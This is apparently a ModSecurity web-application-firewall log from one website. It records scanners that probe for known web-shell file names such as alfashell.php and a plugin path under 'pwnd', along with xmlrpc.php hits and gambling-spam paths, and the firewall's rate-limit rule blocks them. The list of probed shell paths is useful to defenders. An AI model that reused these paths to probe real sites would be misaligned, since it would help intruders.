[Mon Apr 20 02:03:18.495575 2026] [:error] [pid 15694:tid 15743] [client 72.146.9.108:27292] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeUY5rimB-jol1fwqAorsgAAAZE"]
[Mon Apr 20 02:03:19.026932 2026] [:error] [pid 15765:tid 15863] [client 72.146.9.108:26309] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeUY5_Rqinw-W5EwQ74eJQAAAoo"]
[Mon Apr 20 02:03:19.514771 2026] [:error] [pid 15694:tid 15736] [client 72.146.9.108:26304] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "aeUY57imB-jol1fwqAortAAAAYo"]
[Mon Apr 20 02:03:19.997540 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:27388] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeUY57imB-jol1fwqAorugAAAY4"]
[Mon Apr 20 02:03:20.498828 2026] [:error] [pid 47886:tid 47903] [client 72.146.9.108:27106] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeUY6ESe8yiyuPrD7yOeIQAAAM8"]
[Mon Apr 20 02:03:20.979464 2026] [:error] [pid 47773:tid 47818] [client 72.146.9.108:27621] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeUY6OiBHdnCJDuPq9B3XgAAAEI"]
[Mon Apr 20 02:03:21.491622 2026] [:error] [pid 15764:tid 15843] [client 72.146.9.108:26750] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aeUY6WLL_sqdSHoVp-R4ZAAAAlE"]
[Mon Apr 20 02:03:21.963061 2026] [:error] [pid 47773:tid 47823] [client 72.146.9.108:27564] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeUY6eiBHdnCJDuPq9B3YQAAAEc"]
[Mon Apr 20 02:03:22.431622 2026] [:error] [pid 15693:tid 15709] [client 72.146.9.108:26307] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeUY6sNMD-ccazQlTslyfwAAAU0"]
[Mon Apr 20 02:03:22.928231 2026] [:error] [pid 15763:tid 15813] [client 72.146.9.108:27118] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeUY6rMXv1Y1THOoxaA6ugAAAhE"]
[Mon Apr 20 02:03:23.430112 2026] [:error] [pid 15763:tid 15808] [client 72.146.9.108:27116] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aeUY67MXv1Y1THOoxaA6vAAAAgw"]
[Mon Apr 20 02:03:23.896683 2026] [:error] [pid 15693:tid 15718] [client 72.146.9.108:27382] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeUY68NMD-ccazQlTslygAAAAVY"]
[Mon Apr 20 02:03:24.367814 2026] [:error] [pid 47886:tid 47905] [client 72.146.9.108:27010] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeUY7ESe8yiyuPrD7yOeJAAAANE"]
[Mon Apr 20 02:03:24.846533 2026] [:error] [pid 15763:tid 15803] [client 72.146.9.108:26319] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeUY7LMXv1Y1THOoxaA6xQAAAgc"]
[Mon Apr 20 02:03:25.341927 2026] [:error] [pid 47773:tid 47830] [client 72.146.9.108:27008] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeUY7eiBHdnCJDuPq9B3ZwAAAE4"]
[Mon Apr 20 02:03:25.851921 2026] [:error] [pid 15763:tid 15808] [client 72.146.9.108:27297] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeUY7bMXv1Y1THOoxaA6ygAAAgw"]
[Mon Apr 20 02:03:26.358368 2026] [:error] [pid 47772:tid 47800] [client 72.146.9.108:26343] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeUY7oc0L16cb4smAz8LYwAAAAs"]
[Mon Apr 20 02:03:26.852417 2026] [:error] [pid 15694:tid 15741] [client 72.146.9.108:27075] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeUY7rimB-jol1fwqAorxQAAAY8"]
[Mon Apr 20 02:03:27.373812 2026] [:error] [pid 15765:tid 15855] [client 72.146.9.108:26306] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeUY7_Rqinw-W5EwQ74eJwAAAoI"]
[Mon Apr 20 02:03:27.849800 2026] [:error] [pid 15760:tid 15774] [client 72.146.9.108:27615] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeUY7_SdD_XHQMJ_ISuw1QAAAcY"]
[Mon Apr 20 02:03:28.361194 2026] [:error] [pid 47772:tid 47798] [client 72.146.9.108:27541] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeUY8Ic0L16cb4smAz8LZgAAAAk"]
[Mon Apr 20 02:03:28.830021 2026] [:error] [pid 15763:tid 15798] [client 72.146.9.108:26673] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeUY8LMXv1Y1THOoxaA6zgAAAgI"]
[Mon Apr 20 02:03:29.306126 2026] [:error] [pid 47772:tid 47809] [client 72.146.9.108:27558] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeUY8Yc0L16cb4smAz8LaQAAABQ"]
[Mon Apr 20 02:03:29.785089 2026] [:error] [pid 47772:tid 47806] [client 72.146.9.108:26735] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeUY8Yc0L16cb4smAz8LbgAAABE"]
[Mon Apr 20 02:03:30.275278 2026] [:error] [pid 15763:tid 15808] [client 72.146.9.108:27333] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeUY8rMXv1Y1THOoxaA60AAAAgw"]
[Mon Apr 20 02:03:30.745300 2026] [:error] [pid 15694:tid 15731] [client 72.146.9.108:27301] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeUY8rimB-jol1fwqAorygAAAYU"]
[Mon Apr 20 02:03:31.214914 2026] [:error] [pid 47772:tid 47793] [client 72.146.9.108:26631] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeUY84c0L16cb4smAz8LcwAAAAQ"]
[Mon Apr 20 02:03:31.739428 2026] [:error] [pid 47772:tid 47799] [client 72.146.9.108:25436] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeUY84c0L16cb4smAz8LdAAAAAo"]
[Mon Apr 20 02:03:32.218731 2026] [:error] [pid 15764:tid 15842] [client 72.146.9.108:25752] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeUY9GLL_sqdSHoVp-R4ZQAAAlA"]
[Mon Apr 20 02:03:32.878016 2026] [:error] [pid 15764:tid 15841] [client 72.146.9.108:26333] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeUY9GLL_sqdSHoVp-R4ZgAAAk8"]
[Mon Apr 20 02:03:33.484449 2026] [:error] [pid 47772:tid 47811] [client 72.146.9.108:26634] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeUY9Yc0L16cb4smAz8LeAAAABY"]
[Mon Apr 20 02:03:33.956380 2026] [:error] [pid 47772:tid 47789] [client 72.146.9.108:27018] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeUY9Yc0L16cb4smAz8LeQAAAAA"]
[Mon Apr 20 02:03:34.472117 2026] [:error] [pid 47772:tid 47802] [client 72.146.9.108:27599] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeUY9oc0L16cb4smAz8LfAAAAA0"]
[Mon Apr 20 02:03:34.975655 2026] [:error] [pid 47886:tid 47909] [client 72.146.9.108:27586] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeUY9kSe8yiyuPrD7yOeKAAAANU"]
[Mon Apr 20 02:03:35.484643 2026] [:error] [pid 15763:tid 15800] [client 72.146.9.108:27616] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeUY97MXv1Y1THOoxaA61AAAAgQ"]
[Mon Apr 20 02:03:36.007272 2026] [:error] [pid 47886:tid 47890] [client 72.146.9.108:27532] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeUY-ESe8yiyuPrD7yOeKgAAAMI"]
[Mon Apr 20 02:03:36.555592 2026] [:error] [pid 47773:tid 47821] [client 72.146.9.108:27583] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeUY-OiBHdnCJDuPq9B3dwAAAEU"]
[Mon Apr 20 02:03:37.146812 2026] [:error] [pid 15763:tid 15801] [client 72.146.9.108:25401] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeUY-bMXv1Y1THOoxaA61gAAAgU"]
[Mon Apr 20 02:03:37.637375 2026] [:error] [pid 47775:tid 47865] [client 72.146.9.108:25816] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aeUY-bmztjlk9tsmoexE_gAAAJY"]
[Mon Apr 20 02:15:17.545535 2026] [:error] [pid 15760:tid 15785] [client 82.223.68.239:48538] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeUbtfSdD_XHQMJ_ISuy-wAAAdE"]
[Mon Apr 20 03:11:08.857766 2026] [:error] [pid 15694:tid 15731] [client 47.244.90.157:39216] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeUozLimB-jol1fwqApCQwAAAYU"]
[Mon Apr 20 05:14:00.014701 2026] [:error] [pid 48101:tid 48110] [client 34.38.32.188:46378] [client 34.38.32.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.38.32.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVFmPIgenNbs2bVQGsLegAAAYY"]
[Mon Apr 20 05:18:43.086691 2026] [:error] [pid 64334:tid 64425] [client 76.13.78.252:57390] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeVGs8Nh9IxxDqsrPyONiAAAAJY"]
[Mon Apr 20 05:32:28.214701 2026] [:error] [pid 64334:tid 64414] [client 147.135.253.47:43554] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aeVJ7MNh9IxxDqsrPyOTsgAAAIs"]
[Mon Apr 20 05:32:30.092924 2026] [:error] [pid 64332:tid 64348] [client 147.135.253.47:36976] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aeVJ7sAQ57uMKAVSYEnzvQAAAAY"]
[Mon Apr 20 05:32:32.121034 2026] [:error] [pid 64440:tid 64466] [client 147.135.253.47:36982] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aeVJ8NkVUvTgp8p7mrPkCwAAANc"]
[Mon Apr 20 05:32:34.207986 2026] [:error] [pid 48101:tid 48122] [client 147.135.253.47:37000] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aeVJ8vIgenNbs2bVQGsQ1wAAAZI"]
[Mon Apr 20 05:32:36.229524 2026] [:error] [pid 64334:tid 64417] [client 147.135.253.47:37008] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aeVJ9MNh9IxxDqsrPyOT3AAAAI4"]
[Mon Apr 20 05:32:38.195144 2026] [:error] [pid 47779:tid 47796] [client 147.135.253.47:39134] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aeVJ9oahGl1n9UkmcNjriQAAAU8"]
[Mon Apr 20 05:32:40.029604 2026] [:error] [pid 64334:tid 64417] [client 147.135.253.47:39162] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeVJ-MNh9IxxDqsrPyOT8gAAAI4"]
[Mon Apr 20 05:32:41.997652 2026] [:error] [pid 64334:tid 64404] [client 147.135.253.47:39176] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeVJ-cNh9IxxDqsrPyOT_AAAAIE"]
[Mon Apr 20 05:32:43.948102 2026] [:error] [pid 64334:tid 64413] [client 147.135.253.47:39190] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeVJ-8Nh9IxxDqsrPyOUBAAAAIo"]
[Mon Apr 20 05:32:45.744137 2026] [:error] [pid 48101:tid 48120] [client 147.135.253.47:39198] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeVJ_fIgenNbs2bVQGsRCAAAAZA"]
[Mon Apr 20 05:32:47.855716 2026] [:error] [pid 64334:tid 64406] [client 147.135.253.47:59244] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeVJ_8Nh9IxxDqsrPyOUEAAAAIM"]
[Mon Apr 20 05:32:49.772056 2026] [:error] [pid 64440:tid 64466] [client 147.135.253.47:59260] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeVKAdkVUvTgp8p7mrPkGQAAANc"]
[Mon Apr 20 05:32:51.694011 2026] [:error] [pid 64334:tid 64420] [client 147.135.253.47:59272] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeVKA8Nh9IxxDqsrPyOUGwAAAJE"]
